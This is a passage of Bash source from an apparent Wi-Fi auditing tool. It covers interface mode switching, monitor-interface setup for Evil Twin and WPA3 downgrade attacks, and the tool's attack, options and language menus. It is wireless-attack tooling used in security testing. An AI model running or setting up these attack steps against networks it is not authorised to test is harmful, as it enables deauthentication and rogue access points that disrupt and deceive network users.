regexp_part2='\h.*?\busers:\(\("\K[^"]+(?=")' local regexp regexp="${regexp_part1}${regexp_part2}" if hash ss 2> /dev/null; then blocking_process_name=$(ss -tupln | grep -oP "${regexp}") else blocking_process_name="${unknown_chipsetvar,,}" fi } #Convert an IP address from decimal to hexdecimal returning its value ip_dec_to_hex() { debug_print IFS='.' read -r -a octets <<< "${1}" local hex hex="" for octet in "${octets[@]}"; do hex="$(printf "%02X%s" "${octet}" "${hex}")" done echo "${hex}" } #Validate if a wireless adapter is supporting VIF (Virtual Interface Functionality) function check_vif_support() { debug_print if iw "${phy_interface}" info | grep "Supported interface modes" -A 8 | grep "AP/VLAN" > /dev/null 2>&1; then return 0 else return 1 fi } #Returns warning messages if long Wi-Fi names detected function check_interface_wifi_longname() { debug_print wifi_adapter="${1}" longname_patterns=("wlx[0-9a-fA-F]{12}") for pattern in "${longname_patterns[@]}"; do if [[ ${wifi_adapter} =~ $pattern ]]; then echo language_strings "${language}" 708 "yellow" echo language_strings "${language}" 709 "yellow" language_strings "${language}" 115 "read" return 1 fi done return 0 } #Find the physical interface for an adapter function physical_interface_finder() { debug_print local phy_iface phy_iface=$(basename "$(readlink "/sys/class/net/${1}/phy80211")" 2> /dev/null) echo "${phy_iface}" } #Check the wireless stamdards supported by a given physical adapter function check_supported_standards() { debug_print if iw phy "${1}" info | grep -Eq 'HT20/HT40' 2> /dev/null; then standard_80211n=1 else standard_80211n=0 fi if iw phy "${1}" info | grep -Eq 'VHT' 2> /dev/null; then standard_80211ac=1 else standard_80211ac=0 fi if iw phy "${1}" info | grep -Eq 'HE40/HE80' 2> /dev/null; then standard_80211ax=1 else standard_80211ax=0 fi if iw phy "${1}" info | grep -Eq 'EHT bw=20 MHz' 2> /dev/null; then standard_80211be=1 else standard_80211be=0 fi } #Check the bands supported by a given physical adapter function check_interface_supported_bands() { debug_print get_5ghz_band_info_from_phy_interface "${1}" case "$?" in "0") interfaces_band_info["${2},5Ghz_allowed"]=1 interfaces_band_info["${2},text"]="${band_24ghz}, ${band_5ghz}" ;; "1") interfaces_band_info["${2},5Ghz_allowed"]=0 interfaces_band_info["${2},text"]="${band_24ghz}" ;; "2") interfaces_band_info["${2},5Ghz_allowed"]=0 interfaces_band_info["${2},text"]="${band_24ghz}, ${band_5ghz} (${red_color}${disabled_text[${language}]}${pink_color})" ;; esac } #Check 5Ghz band info from a given physical interface function get_5ghz_band_info_from_phy_interface() { debug_print if iw phy "${1}" channels 2> /dev/null | grep -Ei "5180(\.0)? MHz" > /dev/null; then if "${AIRGEDDON_5GHZ_ENABLED:-true}"; then return 0 else return 2 fi fi return 1 } #Detect country code and if region is set function region_check() { debug_print country_code="$(iw reg get | awk 'FNR == 2 {print $2}' | cut -f 1 -d ":" 2> /dev/null)" [[ ! ${country_code} =~ ^[A-Z]{2}$|^99$ ]] && country_code="00" } #Prepare monitor mode avoiding the use of airmon-ng or airmon-zc generating two interfaces from one for WPA3 downgrade attack function prepare_wpa3_downgrade_monitor() { debug_print disable_rfkill iface_phy_number=${phy_interface:3:1} iface_monitor_downgrade_deauth="mon${iface_phy_number}" iw dev "${interface}" set channel "${channel}" > /dev/null 2>&1 iw phy "${phy_interface}" interface add "${iface_monitor_downgrade_deauth}" type monitor 2> /dev/null ip link set "${iface_monitor_downgrade_deauth}" up > /dev/null 2>&1 } #Prepare monitor mode avoiding the use of airmon-ng or airmon-zc generating two interfaces from one for Evil Twin attacks function prepare_et_monitor() { debug_print disable_rfkill iface_phy_number=${phy_interface:3:1} iface_monitor_et_deauth="mon${iface_phy_number}" iw dev "${interface}" set channel "${channel}" > /dev/null 2>&1 iw phy "${phy_interface}" interface add "${iface_monitor_et_deauth}" type monitor 2> /dev/null ip link set "${iface_monitor_et_deauth}" up > /dev/null 2>&1 } #Assure the mode of the interface before the Evil Twin or Enterprise process function prepare_et_interface() { debug_print et_initial_state=${ifacemode} if [ "${ifacemode}" != "Managed" ]; then check_airmon_compatibility "interface" if [ "${interface_airmon_compatible}" -eq 1 ]; then new_interface=$(${airmon} stop "${interface}" 2> /dev/null | grep station | head -n 1) ifacemode="Managed" [[ ${new_interface} =~ \]?([A-Za-z0-9]+)\)?$ ]] && new_interface="${BASH_REMATCH[1]}" if [ "${interface}" != "${new_interface}" ]; then if check_interface_coherence; then interface=${new_interface} phy_interface=$(physical_interface_finder "${interface}") check_interface_supported_bands "${phy_interface}" "main_wifi_interface" current_iface_on_messages="${interface}" fi echo language_strings "${language}" 15 "yellow" fi else if ! set_mode_without_airmon "${interface}" "managed"; then echo language_strings "${language}" 1 "red" language_strings "${language}" 115 "read" return 1 else ifacemode="Managed" fi fi fi } #Restore the state of the interfaces after Evil Twin or Enterprise attack process function restore_et_interface() { debug_print echo language_strings "${language}" 299 "blue" disable_rfkill mac_spoofing_desired=0 iw dev "${iface_monitor_et_deauth}" del > /dev/null 2>&1 ip addr del "${et_ip_router}/${std_c_mask}" dev "${interface}" > /dev/null 2>&1 ip route del "${et_ip_range}/${std_c_mask_cidr}" dev "${interface}" table local proto static scope link > /dev/null 2>&1 if [ "${et_initial_state}" = "Managed" ]; then set_mode_without_airmon "${interface}" "managed" ifacemode="Managed" else if [ "${interface_airmon_compatible}" -eq 1 ]; then new_interface=$(${airmon} start "${interface}" 2> /dev/null | grep monitor) desired_interface_name="" [[ ${new_interface} =~ ^You[[:space:]]already[[:space:]]have[[:space:]]a[[:space:]]([A-Za-z0-9]+)[[:space:]]device ]] && desired_interface_name="${BASH_REMATCH[1]}" if [ -n "${desired_interface_name}" ]; then echo language_strings "${language}" 435 "red" language_strings "${language}" 115 "read" return fi ifacemode="Monitor" [[ ${new_interface} =~ \]?([A-Za-z0-9]+)\)?$ ]] && new_interface="${BASH_REMATCH[1]}" if [ "${interface}" != "${new_interface}" ]; then interface=${new_interface} phy_interface=$(physical_interface_finder "${interface}") check_interface_supported_bands "${phy_interface}" "main_wifi_interface" current_iface_on_messages="${interface}" fi else if set_mode_without_airmon "${interface}" "monitor"; then ifacemode="Monitor" fi fi fi control_routing_status "end" } #Assure the mode of the interface before the WPA3 downgrade attack process function prepare_wpa3_downgrade_interface() { debug_print downgrade_initial_state=${ifacemode} if [ "${ifacemode}" != "Managed" ]; then check_airmon_compatibility "interface" if [ "${interface_airmon_compatible}" -eq 1 ]; then new_interface=$(${airmon} stop "${interface}" 2> /dev/null | grep station | head -n 1) ifacemode="Managed" [[ ${new_interface} =~ \]?([A-Za-z0-9]+)\)?$ ]] && new_interface="${BASH_REMATCH[1]}" if [ "${interface}" != "${new_interface}" ]; then if check_interface_coherence; then interface=${new_interface} phy_interface=$(physical_interface_finder "${interface}") check_interface_supported_bands "${phy_interface}" "main_wifi_interface" current_iface_on_messages="${interface}" fi echo language_strings "${language}" 15 "yellow" fi else if ! set_mode_without_airmon "${interface}" "managed"; then echo language_strings "${language}" 1 "red" language_strings "${language}" 115 "read" return 1 else ifacemode="Managed" fi fi fi } #Restore the state of the interfaces after WAP3 downgrade attack process function restore_wpa3_downgrade_interface() { debug_print echo language_strings "${language}" 299 "blue" disable_rfkill mac_spoofing_desired=0 iw dev "${iface_monitor_downgrade_deauth}" del > /dev/null 2>&1 if [ "${downgrade_initial_state}" = "Managed" ]; then set_mode_without_airmon "${interface}" "managed" ifacemode="Managed" else if [ "${interface_airmon_compatible}" -eq 1 ]; then new_interface=$(${airmon} start "${interface}" 2> /dev/null | grep monitor) desired_interface_name="" [[ ${new_interface} =~ ^You[[:space:]]already[[:space:]]have[[:space:]]a[[:space:]]([A-Za-z0-9]+)[[:space:]]device ]] && desired_interface_name="${BASH_REMATCH[1]}" if [ -n "${desired_interface_name}" ]; then echo language_strings "${language}" 435 "red" language_strings "${language}" 115 "read" return fi ifacemode="Monitor" [[ ${new_interface} =~ \]?([A-Za-z0-9]+)\)?$ ]] && new_interface="${BASH_REMATCH[1]}" if [ "${interface}" != "${new_interface}" ]; then interface=${new_interface} phy_interface=$(physical_interface_finder "${interface}") check_interface_supported_bands "${phy_interface}" "main_wifi_interface" current_iface_on_messages="${interface}" fi else if set_mode_without_airmon "${interface}" "monitor"; then ifacemode="Monitor" fi fi fi } #Unblock if possible the interface if blocked function disable_rfkill() { debug_print if hash rfkill 2> /dev/null; then rfkill unblock all > /dev/null 2>&1 fi } #Set the interface on managed mode and manage the possible name change function managed_option() { debug_print if ! check_to_set_managed "${1}"; then return 1 fi disable_rfkill language_strings "${language}" 17 "blue" ip link set "${1}" up > /dev/null 2>&1 if [ "${1}" = "${interface}" ]; then if [ "${interface_airmon_compatible}" -eq 0 ]; then if ! set_mode_without_airmon "${1}" "managed"; then echo language_strings "${language}" 1 "red" language_strings "${language}" 115 "read" return 1 else ifacemode="Managed" fi else new_interface=$(${airmon} stop "${1}" 2> /dev/null | grep station | head -n 1) ifacemode="Managed" [[ ${new_interface} =~ \]?([A-Za-z0-9]+)\)?$ ]] && new_interface="${BASH_REMATCH[1]}" if [ "${interface}" != "${new_interface}" ]; then if check_interface_coherence; then interface=${new_interface} phy_interface=$(physical_interface_finder "${interface}") check_interface_supported_bands "${phy_interface}" "main_wifi_interface" else interface="${new_interface}" fi current_iface_on_messages="${interface}" echo language_strings "${language}" 15 "yellow" fi fi else if [ "${secondary_interface_airmon_compatible}" -eq 0 ]; then if ! set_mode_without_airmon "${1}" "managed"; then echo language_strings "${language}" 1 "red" language_strings "${language}" 115 "read" return 1 fi else new_secondary_interface=$(${airmon} stop "${1}" 2> /dev/null | grep station | head -n 1) [[ ${new_secondary_interface} =~ \]?([A-Za-z0-9]+)\)?$ ]] && new_secondary_interface="${BASH_REMATCH[1]}" if [ "${1}" != "${new_secondary_interface}" ]; then secondary_wifi_interface=${new_secondary_interface} current_iface_on_messages="${secondary_wifi_interface}" echo language_strings "${language}" 15 "yellow" fi fi fi echo language_strings "${language}" 16 "yellow" language_strings "${language}" 115 "read" return 0 } #Set the interface on monitor mode and manage the possible name change function monitor_option() { debug_print if ! check_to_set_monitor "${1}"; then return 1 fi disable_rfkill language_strings "${language}" 18 "blue" ip link set "${1}" up > /dev/null 2>&1 if [ "${1}" = "${interface}" ]; then check_airmon_compatibility "interface" if [ "${interface_airmon_compatible}" -eq 0 ]; then if ! set_mode_without_airmon "${1}" "monitor"; then echo language_strings "${language}" 20 "red" language_strings "${language}" 115 "read" return 1 else ifacemode="Monitor" fi else if [ "${check_kill_needed}" -eq 1 ]; then language_strings "${language}" 19 "blue" ${airmon} check kill > /dev/null 2>&1 nm_processes_killed=1 fi desired_interface_name="" new_interface=$(${airmon} start "${1}" 2> /dev/null | grep monitor) [[ ${new_interface} =~ ^You[[:space:]]already[[:space:]]have[[:space:]]a[[:space:]]([A-Za-z0-9]+)[[:space:]]device ]] && desired_interface_name="${BASH_REMATCH[1]}" if [ -n "${desired_interface_name}" ]; then echo language_strings "${language}" 435 "red" language_strings "${language}" 115 "read" return 1 fi ifacemode="Monitor" [[ ${new_interface} =~ \]?([A-Za-z0-9]+)\)?$ ]] && new_interface="${BASH_REMATCH[1]}" if [ "${interface}" != "${new_interface}" ]; then if check_interface_coherence; then interface="${new_interface}" phy_interface=$(physical_interface_finder "${interface}") check_interface_supported_bands "${phy_interface}" "main_wifi_interface" else interface="${new_interface}" fi current_iface_on_messages="${interface}" echo language_strings "${language}" 21 "yellow" fi fi else check_airmon_compatibility "secondary_interface" if [ "${secondary_interface_airmon_compatible}" -eq 0 ]; then if ! set_mode_without_airmon "${1}" "monitor"; then echo language_strings "${language}" 20 "red" language_strings "${language}" 115 "read" return 1 fi else if [ "${check_kill_needed}" -eq 1 ]; then language_strings "${language}" 19 "blue" ${airmon} check kill > /dev/null 2>&1 nm_processes_killed=1 fi secondary_interface_airmon_compatible=1 new_secondary_interface=$(${airmon} start "${1}" 2> /dev/null | grep monitor) [[ ${new_secondary_interface} =~ ^You[[:space:]]already[[:space:]]have[[:space:]]a[[:space:]]([A-Za-z0-9]+)[[:space:]]device ]] && desired_interface_name="${BASH_REMATCH[1]}" if [ -n "${desired_interface_name}" ]; then echo language_strings "${language}" 435 "red" language_strings "${language}" 115 "read" return 1 fi [[ ${new_secondary_interface} =~ \]?([A-Za-z0-9]+)\)?$ ]] && new_secondary_interface="${BASH_REMATCH[1]}" if [ "${1}" != "${new_secondary_interface}" ]; then secondary_wifi_interface="${new_secondary_interface}" current_iface_on_messages="${secondary_wifi_interface}" echo language_strings "${language}" 21 "yellow" fi fi fi echo language_strings "${language}" 22 "yellow" language_strings "${language}" 115 "read" return 0 } #Set the interface on monitor/managed mode without airmon function set_mode_without_airmon() { debug_print local error local mode ip link set "${1}" down > /dev/null 2>&1 if [ "${2}" = "monitor" ]; then mode="monitor" iw "${1}" set monitor control > /dev/null 2>&1 else mode="managed" iw "${1}" set type managed > /dev/null 2>&1 fi error=$? ip link set "${1}" up > /dev/null 2>&1 if [ "${error}" != 0 ]; then return 1 fi return 0 } #Check the interface mode function check_interface_mode() { debug_print current_iface_on_messages="${1}" if ! check_interface_wifi "${1}"; then ifacemode="(Non wifi adapter)" return 0 fi modemanaged=$(iw "${1}" info 2> /dev/null | grep type | awk '{print $2}') if [[ ${modemanaged^} = "Managed" ]]; then ifacemode="Managed" return 0 fi modemonitor=$(iw "${1}" info 2> /dev/null | grep type | awk '{print $2}') if [[ ${modemonitor^} = "Monitor" ]]; then ifacemode="Monitor" return 0 fi language_strings "${language}" 23 "red" language_strings "${language}" 115 "read" exit_code=1 exit_script_option } #WPA3 attacks menu function hookable_wpa3_attacks_menu() { debug_print clear language_strings "${language}" 755 "title" current_menu="wpa3_attacks_menu" initialize_menu_and_print_selections echo language_strings "${language}" 47 "green" print_simple_separator language_strings "${language}" 59 language_strings "${language}" 48 language_strings "${language}" 55 language_strings "${language}" 56 language_strings "${language}" 49 language_strings "${language}" 50 "separator" language_strings "${language}" 774 wpa3_downgrade_attack_dependencies[@] language_strings "${language}" 756 "${plugin_x_under_construction}" language_strings "${language}" 757 "${plugin_y_under_construction}" language_strings "${language}" 812 "${plugin_z_under_construction}" print_hint read -rp "> " wpa3_option case ${wpa3_option} in 0) return ;; 1) select_interface ;; 2) monitor_option "${interface}" ;; 3) managed_option "${interface}" ;; 4) explore_for_targets_option "WPA3" ;; 5) if contains_element "${wpa3_option}" "${forbidden_options[@]}"; then forbidden_menu_option else current_iface_on_messages="${interface}" if check_interface_wifi "${interface}"; then if [ "${adapter_vif_support}" -eq 0 ]; then ask_yesno 696 "no" if [ "${yesno}" = "y" ]; then downgrade_attack_adapter_prerequisites_ok=1 fi else downgrade_attack_adapter_prerequisites_ok=1 fi if [ "${downgrade_attack_adapter_prerequisites_ok}" -eq 1 ]; then if explore_for_targets_option "WPA3"; then if validate_wpa3_network "only_mixed" "${tmpdir}nws-01.cap"; then if validate_network_type "personal"; then wpa3_dos_menu fi fi fi fi else echo language_strings "${language}" 281 "red" language_strings "${language}" 115 "read" fi fi ;; 6) "${plugin_x}" ;; 7) "${plugin_y}" ;; 8) "${plugin_z}" ;; *) invalid_menu_option ;; esac hookable_wpa3_attacks_menu } #Option menu function option_menu() { debug_print clear language_strings "${language}" 443 "title" current_menu="option_menu" initialize_menu_and_print_selections echo language_strings "${language}" 47 "green" print_simple_separator language_strings "${language}" 59 print_simple_separator language_strings "${language}" 78 print_simple_separator if "${AIRGEDDON_AUTO_UPDATE:-true}"; then language_strings "${language}" 455 else language_strings "${language}" 449 fi if "${AIRGEDDON_SKIP_INTRO:-true}"; then language_strings "${language}" 565 else language_strings "${language}" 566 fi if "${AIRGEDDON_BASIC_COLORS:-true}"; then language_strings "${language}" 557 else language_strings "${language}" 556 fi if "${AIRGEDDON_EXTENDED_COLORS:-true}"; then language_strings "${language}" 456 else language_strings "${language}" 450 fi if "${AIRGEDDON_AUTO_CHANGE_LANGUAGE:-true}"; then language_strings "${language}" 468 else language_strings "${language}" 467 fi if "${AIRGEDDON_SILENT_CHECKS:-true}"; then language_strings "${language}" 573 else language_strings "${language}" 574 fi if "${AIRGEDDON_PRINT_HINTS:-true}"; then language_strings "${language}" 584 else language_strings "${language}" 585 fi if "${AIRGEDDON_5GHZ_ENABLED:-true}"; then language_strings "${language}" 592 else language_strings "${language}" 593 fi if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then language_strings "${language}" 616 else language_strings "${language}" 617 fi if [ "${AIRGEDDON_MDK_VERSION}" = "mdk3" ]; then language_strings "${language}" 638 else language_strings "${language}" 637 fi if "${AIRGEDDON_PLUGINS_ENABLED:-true}"; then language_strings "${language}" 651 else language_strings "${language}" 652 fi if "${AIRGEDDON_FORCE_NETWORK_MANAGER_KILLING:-true}"; then language_strings "${language}" 688 else language_strings "${language}" 689 fi if "${AIRGEDDON_EVIL_TWIN_ESSID_STRIPPING:-true}"; then language_strings "${language}" 765 else language_strings "${language}" 766 fi if "${AIRGEDDON_EVIL_TWIN_SOUNDS:-true}"; then language_strings "${language}" 804 else language_strings "${language}" 805 fi language_strings "${language}" 447 print_hint read -rp "> " option_selected case ${option_selected} in 0) return ;; 1) language_menu ;; 2) if "${AIRGEDDON_AUTO_UPDATE:-true}"; then ask_yesno 457 "no" if [ "${yesno}" = "y" ]; then if option_toggle "AIRGEDDON_AUTO_UPDATE"; then echo language_strings "${language}" 461 "blue" else echo language_strings "${language}" 417 "red" fi language_strings "${language}" 115 "read" fi else language_strings "${language}" 459 "yellow" ask_yesno 458 "no" if [ "${yesno}" = "y" ]; then if option_toggle "AIRGEDDON_AUTO_UPDATE"; then echo language_strings "${language}" 460 "blue" else echo language_strings "${language}" 417 "red" fi language_strings "${language}" 115 "read" fi fi ;; 3) if "${AIRGEDDON_SKIP_INTRO:-true}"; then ask_yesno 569 "yes" if [ "${yesno}" = "y" ]; then if option_toggle "AIRGEDDON_SKIP_INTRO"; then echo language_strings "${language}" 571 "blue" else echo language_strings "${language}" 417 "red" fi language_strings "${language}" 115 "read" fi else ask_yesno 570 "yes" if [ "${yesno}" = "y" ]; then if option_toggle "AIRGEDDON_SKIP_INTRO"; then echo language_strings "${language}" 572 "blue" else echo language_strings "${language}" 417 "red" fi language_strings "${language}" 115 "read" fi fi ;; 4) if "${AIRGEDDON_BASIC_COLORS:-true}"; then ask_yesno 558 "yes" if [ "${yesno}" = "y" ]; then if option_toggle "AIRGEDDON_BASIC_COLORS"; then echo language_strings "${language}" 560 "blue" else echo language_strings "${language}" 417 "red" fi language_strings "${language}" 115 "read" fi else ask_yesno 559 "yes" if [ "${yesno}" = "y" ]; then if option_toggle "AIRGEDDON_BASIC_COLORS"; then echo language_strings "${language}" 561 "blue" else echo language_strings "${language}" 417 "red" fi language_strings "${language}" 115 "read" fi fi ;; 5) if ! hash ccze 2> /dev/null; then echo language_strings "${language}" 464 "yellow" fi if "${AIRGEDDON_EXTENDED_COLORS:-true}"; then ask_yesno 462 "yes" if [ "${yesno}" = "y" ]; then if option_toggle "AIRGEDDON_EXTENDED_COLORS"; then echo language_strings "${language}" 466 "blue" else echo language_strings "${language}" 417 "red" fi language_strings "${language}" 115 "read" fi else ask_yesno 463 "yes" if [ "${yesno}" = "y" ]; then if option_toggle "AIRGEDDON_EXTENDED_COLORS"; then echo language_strings "${language}" 465 "blue" if ! "${AIRGEDDON_BASIC_COLORS:-true}"; then echo language_strings "${language}" 562 "yellow" fi else echo language_strings "${language}" 417 "red" fi language_strings "${language}" 115 "read" fi fi ;; 6) if "${AIRGEDDON_AUTO_CHANGE_LANGUAGE:-true}"; then ask_yesno 469 "no" if [ "${yesno}" = "y" ]; then if option_toggle "AIRGEDDON_AUTO_CHANGE_LANGUAGE"; then echo language_strings "${language}" 473 "blue" else echo language_strings "${language}" 417 "red" fi language_strings "${language}" 115 "read" fi else echo language_strings "${language}" 471 "yellow" ask_yesno 470 "no" if [ "${yesno}" = "y" ]; then if option_toggle "AIRGEDDON_AUTO_CHANGE_LANGUAGE"; then echo language_strings "${language}" 472 "blue" else echo language_strings "${language}" 417 "red" fi language_strings "${language}" 115 "read" fi fi ;; 7) if "${AIRGEDDON_SILENT_CHECKS:-true}"; then ask_yesno 577 "yes" if [ "${yesno}" = "y" ]; then if option_toggle "AIRGEDDON_SILENT_CHECKS"; then echo language_strings "${language}" 579 "blue" else echo language_strings "${language}" 417 "red" fi language_strings "${language}" 115 "read" fi else ask_yesno 578 "yes" if [ "${yesno}" = "y" ]; then if option_toggle "AIRGEDDON_SILENT_CHECKS"; then echo language_strings "${language}" 580 "blue" else echo language_strings "${language}" 417 "red" fi language_strings "${language}" 115 "read" fi fi ;; 8) if "${AIRGEDDON_PRINT_HINTS:-true}"; then ask_yesno 586 "yes" if [ "${yesno}" = "y" ]; then if option_toggle "AIRGEDDON_PRINT_HINTS"; then echo language_strings "${language}" 588 "blue" else echo language_strings "${language}" 417 "red" fi language_strings "${language}" 115 "read" fi else ask_yesno 587 "yes" if [ "${yesno}" = "y" ]; then if option_toggle "AIRGEDDON_PRINT_HINTS"; then echo language_strings "${language}" 589 "blue" else echo language_strings "${language}" 417 "red" fi language_strings "${language}" 115 "read" fi fi ;; 9) if "${AIRGEDDON_5GHZ_ENABLED:-true}"; then ask_yesno 596 "yes" if [ "${yesno}" = "y" ]; then if option_toggle "AIRGEDDON_5GHZ_ENABLED"; then echo language_strings "${language}" 598 "blue" else echo language_strings "${language}" 417 "red" fi language_strings "${language}" 115 "read" fi else ask_yesno 597 "yes" if [ "${yesno}" = "y" ]; then if option_toggle "AIRGEDDON_5GHZ_ENABLED"; then echo language_strings "${language}" 599 "blue" else echo language_strings "${language}" 417 "red" fi language_strings "${language}" 115 "read" fi fi ;; 10) if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then ask_yesno 657 "yes" if [ "${yesno}" = "y" ]; then sed -ri "s:(AIRGEDDON_WINDOWS_HANDLING)=(xterm):\1=tmux:" "${rc_path}" 2> /dev/null echo language_strings "${language}" 620 "yellow" language_strings "${language}" 115 "read" fi else ask_yesno 658 "yes" if [ "${yesno}" = "y" ]; then sed -ri "s:(AIRGEDDON_WINDOWS_HANDLING)=(tmux):\1=xterm:" "${rc_path}" 2> /dev/null echo language_strings "${language}" 620 "yellow" language_strings "${language}" 115 "read" fi fi ;; 11) ask_yesno 639 "yes" if [ "${yesno}" = "y" ]; then mdk_version_toggle echo language_strings "${language}" 640 "yellow" language_strings "${language}" 115 "read" fi ;; 12) if "${AIRGEDDON_PLUGINS_ENABLED:-true}"; then ask_yesno 655 "yes" else ask_yesno 656 "yes" fi if [ "${yesno}" = "y" ]; then if option_toggle "AIRGEDDON_PLUGINS_ENABLED" "required_reboot"; then echo language_strings "${language}" 620 "yellow" else echo language_strings "${language}" 417 "red" fi language_strings "${language}" 115 "read" fi ;; 13) if "${AIRGEDDON_FORCE_NETWORK_MANAGER_KILLING:-true}"; then ask_yesno 692 "yes" if [ "${yesno}" = "y" ]; then if option_toggle "AIRGEDDON_FORCE_NETWORK_MANAGER_KILLING"; then echo language_strings "${language}" 694 "blue" else echo language_strings "${language}" 417 "red" fi language_strings "${language}" 115 "read" fi else ask_yesno 693 "yes" if [ "${yesno}" = "y" ]; then if option_toggle "AIRGEDDON_FORCE_NETWORK_MANAGER_KILLING"; then echo language_strings "${language}" 695 "blue" else echo language_strings "${language}" 417 "red" fi language_strings "${language}" 115 "read" fi fi ;; 14) if "${AIRGEDDON_EVIL_TWIN_ESSID_STRIPPING:-true}"; then ask_yesno 767 "yes" if [ "${yesno}" = "y" ]; then if option_toggle "AIRGEDDON_EVIL_TWIN_ESSID_STRIPPING"; then echo language_strings "${language}" 769 "blue" else echo language_strings "${language}" 417 "red" fi language_strings "${language}" 115 "read" fi else ask_yesno 768 "yes" if [ "${yesno}" = "y" ]; then if option_toggle "AIRGEDDON_EVIL_TWIN_ESSID_STRIPPING"; then echo language_strings "${language}" 770 "blue" else echo language_strings "${language}" 417 "red" fi language_strings "${language}" 115 "read" fi fi ;; 15) if "${AIRGEDDON_EVIL_TWIN_SOUNDS:-true}"; then ask_yesno 806 "yes" if [ "${yesno}" = "y" ]; then if option_toggle "AIRGEDDON_EVIL_TWIN_SOUNDS"; then echo language_strings "${language}" 808 "blue" else echo language_strings "${language}" 417 "red" fi language_strings "${language}" 115 "read" fi else ask_yesno 807 "yes" if [ "${yesno}" = "y" ]; then if option_toggle "AIRGEDDON_EVIL_TWIN_SOUNDS"; then echo language_strings "${language}" 809 "blue" else echo language_strings "${language}" 417 "red" fi language_strings "${language}" 115 "read" fi fi ;; 16) ask_yesno 478 "yes" if [ "${yesno}" = "y" ]; then get_current_permanent_language if [ "${language}" = "${current_permanent_language}" ]; then echo language_strings "${language}" 480 "red" else if "${AIRGEDDON_AUTO_CHANGE_LANGUAGE:-true}"; then echo language_strings "${language}" 479 "yellow" option_toggle "AIRGEDDON_AUTO_CHANGE_LANGUAGE" fi if set_permanent_language; then echo language_strings "${language}" 481 "blue" else echo language_strings "${language}" 417 "red" fi fi language_strings "${language}" 115 "read" fi ;; *) invalid_menu_option ;; esac option_menu } #Language change menu function language_menu() { debug_print clear language_strings "${language}" 87 "title" current_menu="language_menu" initialize_menu_and_print_selections echo language_strings "${language}" 81 "green" print_simple_separator language_strings "${language}" 446 print_simple_separator language_strings "${language}" 79 language_strings "${language}" 80 language_strings "${language}" 113 language_strings "${language}" 116 language_strings "${language}" 249 language_strings "${language}" 308 language_strings "${language}" 320 language_strings "${language}" 482 language_strings "${language}" 58 language_strings "${language}" 331 language_strings "${language}" 519 language_strings "${language}" 687 language_strings "${language}" 717 print_hint read -rp "> " language_selected echo case ${language_selected} in 0) return ;; 1) if [ "${language}" = "ENGLISH" ]; then language_strings "${language}" 251 "red" else language="ENGLISH" language_strings "${language}" 83 "yellow" fi language_strings "${language}" 115 "read" ;; 2) if [ "${language}" = "SPANISH" ]; then language_strings "${language}" 251 "red" else language="SPANISH" language_strings "${language}" 83 "yellow" fi language_strings "${language}" 115 "read" ;; 3) if [ "${language}" = "FRENCH" ]; then language_strings "${language}" 251 "red" else language="FRENCH" language_strings "${language}" 83 "yellow" fi language_strings "${language}" 115 "read" ;; 4) if [ "${language}" = "CATALAN" ]; then language_strings "${language}" 251 "red" else language="CATALAN" language_strings "${language}" 83 "yellow" fi language_strings "${language}" 115 "read" ;; 5) if [ "${language}" = "PORTUGUESE" ]; then language_strings "${language}" 251 "red" else language="PORTUGUESE" language_strings "${language}" 83 "yellow" fi language_strings "${language}" 115 "read" ;; 6) if [ "${language}" = "RUSSIAN" ]; then language_strings "${language}" 251 "red" else language="RUSSIAN" language_strings "${language}" 83 "yellow" fi language_strings "${language}" 115 "read" ;; 7) if [ "${language}" = "GREEK" ]; then language_strings "${language}" 251 "red" else language="GREEK" language_strings "${language}" 83 "yellow" fi language_strings "${language}" 115 "read" ;; 8) if [ "${language}" = "ITALIAN" ]; then language_strings "${language}" 251 "red" else language="ITALIAN" language_strings "${language}" 83 "yellow" fi language_strings "${language}" 115 "read" ;; 9) if [ "${language}" = "POLISH" ]; then language_strings "${language}" 251 "red" else language="POLISH" language_strings "${language}" 83 "yellow" fi language_strings "${language}" 115 "read" ;; 10) if [ "${language}" = "GERMAN" ]; then language_strings "${language}" 251 "red" else language="GERMAN" language_strings "${language}" 83 "yellow" fi language_strings "${language}" 115 "read" ;; 11) if [ "${language}" = "TURKISH" ]; then language_strings "${language}" 251 "red" else language="TURKISH" language_strings "${language}" 83 "yellow" fi language_strings "${language}" 115 "read" ;; 12) if [ "${language}" = "ARABIC" ]; then language_strings "${language}" 251 "red" else language="ARABIC" language_strings "${language}" 83 "yellow" fi language_strings "${language}" 115 "read" ;; 13) if [ "${language}" = "CHINESE" ]; then language_strings "${language}" 251 "red" else language="CHINESE" language_strings "${language}" 83 "yellow" fi language_strings "${language}" 115 "read" ;; *) invalid_language_selected ;; esac detect_rtl_language initialize_language_strings hookable_for_languages language_menu } #Read the chipset for an interface function set_chipset() { debug_print chipset="" sedrule1="s/^[0-9a-f]\{1,4\} \|^ //Ig" sedrule2="s/ Network Connection.*//Ig" sedrule3="s/ Wireless.*//Ig" sedrule4="s/ PCI Express.*//Ig" sedrule5="s/ \(Gigabit\|Fast\) Ethernet.*//Ig" sedrule6="s/ \[.*//" sedrule7="s/ (.*//" sedrule8="s|802\.11a/b/g/n/ac.*||Ig" sedruleall="${sedrule1};${sedrule2};${sedrule3};${sedrule4};${sedrule5};${sedrule6};${sedrule7};${sedrule8}" if [ -f "/sys/class/net/${1}/device/modalias" ]; then bus_type=$(cut -f 1 -d ":" < "/sys/class/net/${1}/device/modalias") if [ "${bus_type}" = "usb" ]; then vendor_and_device=$(cut -b 6-14 < "/sys/class/net/${1}/device/modalias" | sed 's/^.//;s/p/:/') if hash lsusb 2> /dev/null; then if [[ -n "${2}" ]] && [[ "${2}" = "read_only" ]]; then requested_chipset=$(lsusb | grep -i "${vendor_and_device}" | head -n 1 | cut -f 3 -d ":" | sed -e "${sedruleall}") else chipset=$(lsusb | grep -i "${vendor_and_device}" | head -n 1 | cut -f 3 -d ":" | sed -e "${sedruleall}") fi fi elif [[ "${bus_type}" =~ pci|ssb|bcma|pcmcia ]]; then if [[ -f /sys/class/net/${1}/device/vendor ]] && [[ -f /sys/class/net/${1}/device/device ]]; then vendor_and_device=$(sed -e 's/0x//' "/sys/class/net/${1}/device/vendor"):$(sed -e 's/0x//' "/sys/class/net/${1}/device/device") if [[ -n "${2}" ]] && [[ "${2}" = "read_only" ]]; then requested_chipset=$(lspci -d "${vendor_and_device}" | head -n 1 | cut -f 3 -d ":" | sed -e "${sedruleall}") else chipset=$(lspci -d "${vendor_and_device}" | head -n 1 | cut -f 3 -d ":" | sed -e "${sedruleall}") fi else if hash ethtool 2> /dev/null; then ethtool_output=$(ethtool -i "${1}" 2>&1) 